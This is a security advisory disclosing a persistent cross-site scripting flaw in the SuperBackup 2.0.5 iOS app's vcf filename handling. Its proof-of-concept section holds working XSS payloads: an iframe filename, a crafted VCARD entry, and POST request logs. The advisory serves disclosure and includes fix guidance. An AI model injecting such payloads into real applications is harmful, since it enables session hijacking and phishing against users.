SuperBackup 2.0.5 for iOS Persistent Cross-Site Scripting

Risk: Low
Local: No
Remote: Yes

# Title: SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-15 # Vendor: # Software Link: # CVE: N/A Document Title: =============== SuperBackup v2.0.5 iOS - (VCF) Persistent XSS Vulnerability References (Source): ==================== Release Date: ============= 2020-04-15 Vulnerability Laboratory ID (VL-ID): ==================================== 2202 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Backup all your iPhone or iPad contacts in 1 tap and export them. Fastest way to restore contacts from PC or Mac. Export by mailing the backed up contacts file to yourself. Export contacts file to any other app on your device. Export all contacts directly to your PC / Mac over Wifi, no software needed! Restore any contacts directly from PC / Mac. Restore contacts via mail. Get the ultimate contacts backup app now. (Copy of the Homepage: ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent cross site web vulnerabilities in the official SuperBackup v2.0.5 ios mobile application. Affected Product(s): ==================== Dropouts Technologies LLP Product: Super Backup v2.0.5 Vulnerability Disclosure Timeline: ================================== 2020-04-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent cross site scripting web vulnerability has been discovered in the official SuperBackup v2.0.5 ios mobile application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise the mobile web-application from the application-side. The cross site scripting web vulnerabilities are located in the `newPath`, `oldPath` & `filename` parameters of the vcf listing module. Remote attackers are able to inject own malicious persistent script codes as vcf filename to the main index list. The request method to inject is POST and the attack vector of the vulnerability is located on the application-side. The injection point is located at the vcf filename or import. The execution point occurs in the main index list after the import or insert. Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack vector of the vulnerability is persistent and the request method to inject/execute is POST. The vulnerabilities are classic client-side cross site scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] VCF Vulnerable Parameter(s): [+] newPath (path - vcf filename) [+] oldPath (path - vcf filename) Proof of Concept (PoC): ======================= The cross site scripting vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the cross site scripting vulnerability follow the provided information and steps below to continue. PoC: Payload (Filename) >"<iframe%20src=evil.source%20onload=alert("PWND")></iframe> PoC: Vulnerable Source (Listing - Index) <button type="button" class="btn btn-default btn-xs button-download"> <span class="glyphicon glyphicon-download-alt"></span> </button> </td> <td class="column-name"><p class="edit" title="Click to rename...">Contacts 09:17:12:PM 10:Apr.:2020 .vcf</p></td> <td class="column-size"> <p>26.40 KB</p> </td> <td class="column-delete"> <button type="button" class="btn btn-danger btn-xs button-delete"> <span class="glyphicon glyphicon-trash"></span> </button> </td> </tr></tbody></table> </div> PoC: Exception-Handling Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020 .vcf" to "/Contacts >"<iframe src=evil.source onload=alert("PWND")></iframe> 09:17:12:PM 10:Apr.:2020 .vcf" - Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020 .vcf" to "/Contacts 09:17:12:PM 10:Apr.:2020 >"<iframe src=evil.source onload=alert("PWND")></iframe> .vcf" - Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020 .vcf" to "/Contacts >"<iframe src=evil.source onload=alert("PWND")></iframe>09:17:12:PM 10:Apr.:2020 .vcf" PoC: Exploit BEGIN:VCARD VERSION:3.0 PRODID:-//Apple Inc.//iPhone OS 12.4.5//EN B:Kunz Mejri ;>"<iframe src=evil.source onload=alert("PWND")></iframe> ;;; END:VCARD --- PoC Session Logs [POST] --- http://localhost/move Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 187 Origin: http://localhost Connection: keep-alive Referer: http://localhost/ oldPath=/Contacts 09:17:12:PM 10:Apr.:2020 .vcf&newPath=/evil-filename>"<iframe src=evil.source onload=alert("PWND")></iframe>.vc - POST: HTTP/1.1 500 Internal Server Error Content-Length: 593 Content-Type: text/html; charset=utf-8 Connection: Close Server: GCDWebUploader - http://localhost/evil.source Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://localhost/ - GET: HTTP/1.1 200 OK Server: GCDWebUploader Connection: Close Solution - Fix & Patch: ======================= 1. Parse and filter the vcf name values next to add, edit or imports to prevent an execution 2. Restrict and filter in the index listing the vcf names to sanitize the output Security Risk: ============== The security risk of the persistent vcf cross site scripting web vulnerability is estimated as medium. Credits & Authors: ================== Vulnerability-Lab - Benjamin Kunz Mejri - Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: Services: Social: Feeds: Programs: Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM

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